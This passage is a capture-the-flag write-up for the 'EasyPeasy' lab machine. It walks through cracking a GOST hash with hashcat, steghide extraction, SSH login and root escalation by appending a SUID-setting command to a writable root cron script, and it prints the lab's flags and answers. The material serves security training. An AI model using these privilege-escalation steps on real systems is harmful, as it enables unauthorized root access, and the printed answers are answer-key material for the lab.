```
We can find an interesting line in line `194`
```
its encoded with ba....:ObsJmP173N2X6dOrAgEAL0Vu
```
It's not base64 at first sight but if we decode it...
```
⯠echo 'ObsJmP173N2X6dOrAgEAL0Vu' | base64 -d
9� ��{�ݗ�ӫ/En%
```
We have a bunch of weird characters, so probablly it's not base64 let's try base62 encoding in CyberChef.io
Now, if we decode it:
![[Pasted image 20260418233314.png]]
Here we can see a subdirectory: `/n0th1ng3ls3m4tt3r`
In line 292 we can also find another flag:
```
They are activated by symlinking available
configuration files from their respective
Fl4g 3 : flag{9fdafbd64c47471a8f54cd3fc64cd312}
*-available/ counterparts. These should be managed
by using our helpers
```
And with that we can answer the next two questions:
**Crack the hash with easypeasy.txt, What is the flag 3?**
Answer: `flag{9fdafbd64c47471a8f54cd3fc64cd312}`
**What is the hidden directory?**
Answer: `/n0th1ng3ls3m4tt3r`
Now we have the new directory: `http://10.129.175.6:65524/n0th1ng3ls3m4tt3r/`
Let's check the source code:
```
random title
940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81
```
We can find a hash in line `16`, let's crack it.
```
940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81
```
First of all, let's identify the hash type with hashcat:
```
⯠hashid -m 940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81
Analyzing '940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81'
[+] Snefru-256
[+] SHA-256 [Hashcat Mode: 1400]
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94 [Hashcat Mode: 6900]
[+] GOST CryptoPro S-Box
[+] SHA3-256 [Hashcat Mode: 5000]
[+] Skein-256
[+] Skein-512(256)
```
To avoid writing out a lot of commands, I won’t list all the tests I ran, since there were so many different hash types that I had to test several times to confirm the specific hash type.
At first glance, I thought it would be SHA-256 since it had 64 characters; however, hashcat failed. Therefore, even though I had the EXACT wordlist, I ruled out that format and kept testing until I found that the hash format was GOST:
```
⯠hashcat -m 6900 hash.txt easypeasy.txt
hashcat (v7.1.2) starting
/usr/share/hashcat/OpenCL/m06900_a0-optimized.cl: Pure kernel not found, falling back to optimized kernel
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-AMD Ryzen 7 5800X 8-Core Processor, 2930/5861 MB (1024 MB allocatable), 8MCU
/usr/share/hashcat/OpenCL/m06900_a0-optimized.cl: Pure kernel not found, falling back to optimized kernel
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 32
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 514 MB (5277 MB free)
Dictionary cache hit:
* Filename..: easypeasy.txt
* Passwords.: 5141
* Bytes.....: 48856
* Keyspace..: 5141
The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Hashcat is expecting at least 8192 base words but only got 62.8% of that.
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework
Approaching final keyspace - workload adjusted.
940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81:mypasswordforthatjob
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 6900 (GOST R 34.11-94)
Hash.Target......: 940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d14...e6fd81
Time.Started.....: Sat Apr 18 23:50:50 2026 (0 secs)
Time.Estimated...: Sat Apr 18 23:50:50 2026 (0 secs)
Kernel.Feature...: Optimized Kernel (password length 0-32 bytes)
Guess.Base.......: File (easypeasy.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 1182.5 kH/s (2.93ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 5141/5141 (100.00%)
Rejected.........: 1/5141 (0.02%)
Restore.Point....: 0/5141 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> sunshine
Hardware.Mon.#01.: Util: 13%
Started: Sat Apr 18 23:49:29 2026
Stopped: Sat Apr 18 23:50:51 2026
```
```
⯠hashcat -m 6900 940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81 easypeasy.txt --show
940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81:mypasswordforthatjob
```
With that done, we can answer the next question:
**Using the wordlist that provided to you in this task crack the hash**
**what is the password?**
Answer: `mypasswordforthatjob`
Nothing else? let's check the image of `http://10.129.175.6:65524/n0th1ng3ls3m4tt3r/` just in case with steghide, and we'll use the password for passphrase.
```
⯠steghide extract -sf binarycodepixabay.jpg
Enter passphrase:
wrote extracted data to "secrettext.txt".
```
Let's check what steghide extracted:
```
⯠cat secrettext.txt | less
username:boring
password:
01101001 01100011 01101111 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110011 01110011 01110111 01101111 01110010 01100100 01110100 01101111 01100010 01101001 01101110 01100001 01110010 01111001
```
Now we go to CyberChef.io again and check the binary:
![[Pasted image 20260419003605.png]]
And with that we have all we need:
Username: boring
Password: iconvertedmypasswordtobinary
Also, we have the answer for the next question:
**What is the password to login to the machine via SSH?**
Answer: `iconvertedmypasswordtobinary`
Now let's login to the SSH:
```
⯠ssh -p 6498 boring@10.129.175.6
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
*************************************************************************
** This connection are monitored by government offical **
** Please disconnect if you are not authorized **
** A lawsuit will be filed against you if the law is not followed **
*************************************************************************
boring@10.129.175.6's password:
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
boring@kral4-PC:~$
```
Now we have the flag but wait, it's rotated!
```
boring@kral4-PC:~$ ls
user.txt
boring@kral4-PC:~$ cat user.txt
User Flag But It Seems Wrong Like It`s Rotated Or Something
synt{a0jvgf33zfa0ez4y}
boring@kral4-PC:~$
```
Let's use ROT13 on CyberChef.io:
![[Pasted image 20260419004031.png]]
And we have the user flag!!
**What is the user flag?**
Answer:`flag{n0wits33msn0rm4l}`
Now let's enumerate the machine:
```
boring@kral4-PC:~$ cat user.txt
User Flag But It Seems Wrong Like It`s Rotated Or Something
synt{a0jvgf33zfa0ez4y}
boring@kral4-PC:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/pppd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/bin/ping
/bin/mount
/bin/fusermount
/bin/su
/bin/umount
```
See that we have `pkexec`, that linpeas or even AI might mistake it for a vulnerability, but speaking from experience i will ignore it for now.
Now let's check the crontabs:
```
boring@kral4-PC:~$ crontab -l
no crontab for boring
boring@kral4-PC:~$
```
Let's try with /etc/crontab:
```
boring@kral4-PC:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root cd /var/www/ && sudo bash .mysecretcronjob.sh
```
We can see that `* * * * * root cd /var/www/ && sudo bash .mysecretcronjob.sh` executes every minute with `root` permissions, it's located in `/var/www/` from the file `.mysecretcronjob.sh`
This really smells like privilege escalation.
Let's check the permissions of that file.
```
boring@kral4-PC:~$ ls -la /var/www/.mysecretcronjob.sh
-rwxr-xr-x 1 boring boring 33 Jun 14 2020 /var/www/.mysecretcronjob.sh
boring@kral4-PC:~$
```
This means that we, as the `boring` user, have full control over a file that `crontab` will execute as `root` in less than a minute. This vulnerability is called **Privilege Escalation via CronJob Abuse.**
So let's modify the file to get a root shell in less than a minute:
```
boring@kral4-PC:~$ echo "chmod +s /bin/bash" >> /var/www/.mysecretcronjob.sh
```
And now let's wait, and after a while, we can do ls -la /bin/bash to check if it worked:
```
boring@kral4-PC:~$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
boring@kral4-PC:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Jun 6 2019 /bin/bash
```
Depending on the terminal you can see that the `/bin/bash` has changed. Anyways, wait 1-2 minutes and run `/bin/bash -p`
```
boring@kral4-PC:~$ /bin/bash -p
bash-4.4# whoami
root
```
Let's go, here we are!
Now let's retrieve the root flag.
```
bash-4.4# cd /root
bash-4.4# ls -al
total 40
drwx------ 5 root root 4096 Jun 15 2020 .
drwxr-xr-x 23 root root 4096 Jun 15 2020 ..
-rw------- 1 root root 883 Jun 15 2020 .bash_history
-rw-r--r-- 1 root root 3136 Jun 15 2020 .bashrc
drwx------ 2 root root 4096 Jun 13 2020 .cache
drwx------ 3 root root 4096 Jun 13 2020 .gnupg
drwxr-xr-x 3 root root 4096 Jun 13 2020 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 39 Jun 15 2020 .root.txt
-rw-r--r-- 1 root root 66 Jun 14 2020 .selected_editor
bash-4.4# cat .root.txt
flag{63a9f0ea7bb98050796b649e85481845}
```
**What is the root flag?**
Answer: `flag{63a9f0ea7bb98050796b649e85481845}`
Well, that's it! We've finished EasyPeasy. I hope you enjoyed it because, I have to say, even though it was simple, it was actually pretty fun!
See you in the next writeup!